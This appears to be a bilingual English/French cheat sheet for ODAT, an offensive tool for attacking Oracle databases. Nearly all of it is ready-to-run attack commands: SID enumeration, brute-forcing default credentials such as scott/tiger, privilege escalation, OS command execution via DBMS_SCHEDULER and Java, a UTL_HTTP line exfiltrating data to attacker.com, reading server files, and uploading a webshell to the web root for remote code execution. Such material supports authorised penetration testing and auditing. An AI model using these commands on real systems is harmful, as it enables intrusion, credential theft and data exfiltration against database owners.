odat

Oracle Database Attacking Tool. Teste les bases de données Oracle contre divers vecteurs d'attaque : brute-force, injection SQL, exécution Java, upload/lecture de fichiers, et élévation de privilèges. Oracle Database Attacking Tool. Tests Oracle databases for various attack vectors: brute-force, SQL injection, Java execution, file upload/read, and privilege escalation.

↗ https://github.com/quentinhardy/odat

Overview

ODAT (Oracle Database Attacking Tool) is an offensive tool for auditing Oracle databases. It automates attacks against Oracle DB instances: account enumeration and brute-force, privilege escalation via known vulnerabilities, Java-based OS execution, file read/write via UTL_FILE, and more.

Installation

git clone https://github.com/quentinhardy/odat
cd odat
pip3 install -r requirements.txt

# Requires Oracle Instant Client
# Download from Oracle website and configure LD_LIBRARY_PATH

Basic Usage

Test all attack modules

python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL

With credentials

python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger

Brute-force accounts

python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL

Test specific module

python3 odat.py dbmsadvisor -s 10.10.10.1 -p 1521 -d ORCL -U user -P pass

Finding Oracle Services

Find Oracle TNS port (default 1521)

nmap -p 1521 --script oracle-tns-version 10.10.10.1
# Enumerate SIDs (Service IDs)
nmap -p 1521 --script oracle-sid-brute 10.10.10.1
python3 odat.py sidguesser -s 10.10.10.1 -p 1521

# Common SIDs:
# ORCL, XE, DB, PROD, TEST, ORACLE, ORA

Brute-Force

Brute-force passwords (known default creds first)

python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL
# Default Oracle credentials to try:
# scott/tiger
# system/manager
# sys/change_on_install
# dbsnmp/dbsnmp
# outln/outln

Custom wordlist

python3 odat.py passwordguesser -s 10.10.10.1 -d ORCL \
  --accounts-file /usr/share/wordlists/oracle-default-accounts.txt

Privilege Escalation

Check and escalate privileges

python3 odat.py privesc -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger

Via DBMS_SCHEDULER (OS command execution)

python3 odat.py dbmsscheduler -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --exec "whoami"

Via Java (if Java stored procedures enabled)

python3 odat.py java -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --exec "whoami"

Via UTL_HTTP to exfiltrate data

python3 odat.py utlhttp -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --url "http://attacker.com/data=$(whoami)"

File Operations

Read a file from the DB server

python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --getFile C:\Windows\win.ini /tmp/win.ini

Write a file to the server

python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --putFile C:\inetpub\wwwroot\shell.aspx /tmp/shell.aspx
# Webshell upload → remote code execution

External Table Attack

Create external table to read OS files

python3 odat.py externaltable -s 10.10.10.1 -d ORCL -U scott -P tiger \
  --getFile C:\boot.ini /tmp/boot.ini

Tips

  • Default creds (scott/tiger) still work on many Oracle instances — try these first
  • SID enumeration is required before auth — use sidguesser first
  • Java execution requires CREATE PROCEDURE and Java permissions — uncommon on hardened systems
  • UTL_FILE write to web root = immediate code execution if Apache/IIS is running
Available Modules
all                 Run all modules
sidguesser          Enumerate Oracle SIDs
passwordguesser     Brute-force accounts
utlhttp             Use UTL_HTTP for requests
httpuritype         HTTPURIType attack
utltcp              UTL_TCP connections
ctxsys              CTXSYS privilege escalation
externaltable       External table file read
dbmsxslprocessor    XSLT processing attacks
dbmsadvisor         DBMS_ADVISOR attacks
utlfile             File read/write via UTL_FILE
dbmsscheduler       OS command via DBMS_SCHEDULER
java                OS command via Java
passwordstealer     Steal hashed passwords
oradbg              Oracle Debugger attacks
dbmspipe            DBMS_PIPE attacks
stealremotepwds     Remote password steal
userlikepwd         Check user=password
smb                 SMB hash capture
privesc             Privilege escalation

Vue d’ensemble

ODAT (Oracle Database Attacking Tool) est un outil offensif pour auditer les bases de données Oracle. Il automatise les attaques contre les instances Oracle DB : énumération et brute-force de comptes, élévation de privilèges via des vulnérabilités connues, exécution OS via Java, lecture/écriture de fichiers via UTL_FILE, et plus.

Installation

git clone https://github.com/quentinhardy/odat
cd odat
pip3 install -r requirements.txt

# Nécessite Oracle Instant Client
# Télécharger depuis le site Oracle et configurer LD_LIBRARY_PATH

Utilisation de base

# Tester tous les modules d'attaque
python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL

# Avec des credentials
python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger

# Brute-forcer les comptes
python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL

# Tester un module spécifique
python3 odat.py dbmsadvisor -s 10.10.10.1 -p 1521 -d ORCL -U user -P pass

Trouver les services Oracle

# Trouver le port TNS Oracle (par défaut 1521)
nmap -p 1521 --script oracle-tns-version 10.10.10.1

# Énumérer les SID (Service IDs)
nmap -p 1521 --script oracle-sid-brute 10.10.10.1
python3 odat.py sidguesser -s 10.10.10.1 -p 1521

# SID courants :
# ORCL, XE, DB, PROD, TEST, ORACLE, ORA

Brute-force

# Brute-forcer les mots de passe (essayer d'abord les credentials par défaut connus)
python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL

# Credentials Oracle par défaut à essayer :
# scott/tiger
# system/manager
# sys/change_on_install
# dbsnmp/dbsnmp
# outln/outln

# Wordlist personnalisée
python3 odat.py passwordguesser -s 10.10.10.1 -d ORCL \
  --accounts-file /usr/share/wordlists/oracle-default-accounts.txt

Élévation de privilèges

# Vérifier et élever les privilèges
python3 odat.py privesc -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger

# Via DBMS_SCHEDULER (exécution de commande OS)
python3 odat.py dbmsscheduler -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --exec "whoami"

# Via Java (si les procédures stockées Java sont activées)
python3 odat.py java -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --exec "whoami"

# Via UTL_HTTP pour exfiltrer des données
python3 odat.py utlhttp -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --url "http://attacker.com/data=$(whoami)"

Opérations sur fichiers

# Lire un fichier depuis le serveur DB
python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --getFile C:\Windows\win.ini /tmp/win.ini

# Écrire un fichier sur le serveur
python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
  --putFile C:\inetpub\wwwroot\shell.aspx /tmp/shell.aspx

# Upload de webshell -> exécution de code à distance

Attaque par table externe

# Créer une table externe pour lire des fichiers OS
python3 odat.py externaltable -s 10.10.10.1 -d ORCL -U scott -P tiger \
  --getFile C:\boot.ini /tmp/boot.ini

Conseils

  • Les credentials par défaut (scott/tiger) fonctionnent encore sur de nombreuses instances Oracle : à essayer en premier
  • L’énumération de SID est requise avant l’authentification : utiliser sidguesser d’abord
  • L’exécution Java nécessite CREATE PROCEDURE et des permissions Java : peu courant sur les systèmes durcis
  • Une écriture UTL_FILE vers la racine web = exécution de code immédiate si Apache/IIS tourne
Modules disponibles
all                 Run all modules
sidguesser          Enumerate Oracle SIDs
passwordguesser     Brute-force accounts
utlhttp             Use UTL_HTTP for requests
httpuritype         HTTPURIType attack
utltcp              UTL_TCP connections
ctxsys              CTXSYS privilege escalation
externaltable       External table file read
dbmsxslprocessor    XSLT processing attacks
dbmsadvisor         DBMS_ADVISOR attacks
utlfile             File read/write via UTL_FILE
dbmsscheduler       OS command via DBMS_SCHEDULER
java                OS command via Java
passwordstealer     Steal hashed passwords
oradbg              Oracle Debugger attacks
dbmspipe            DBMS_PIPE attacks
stealremotepwds     Remote password steal
userlikepwd         Check user=password
smb                 SMB hash capture
privesc             Privilege escalation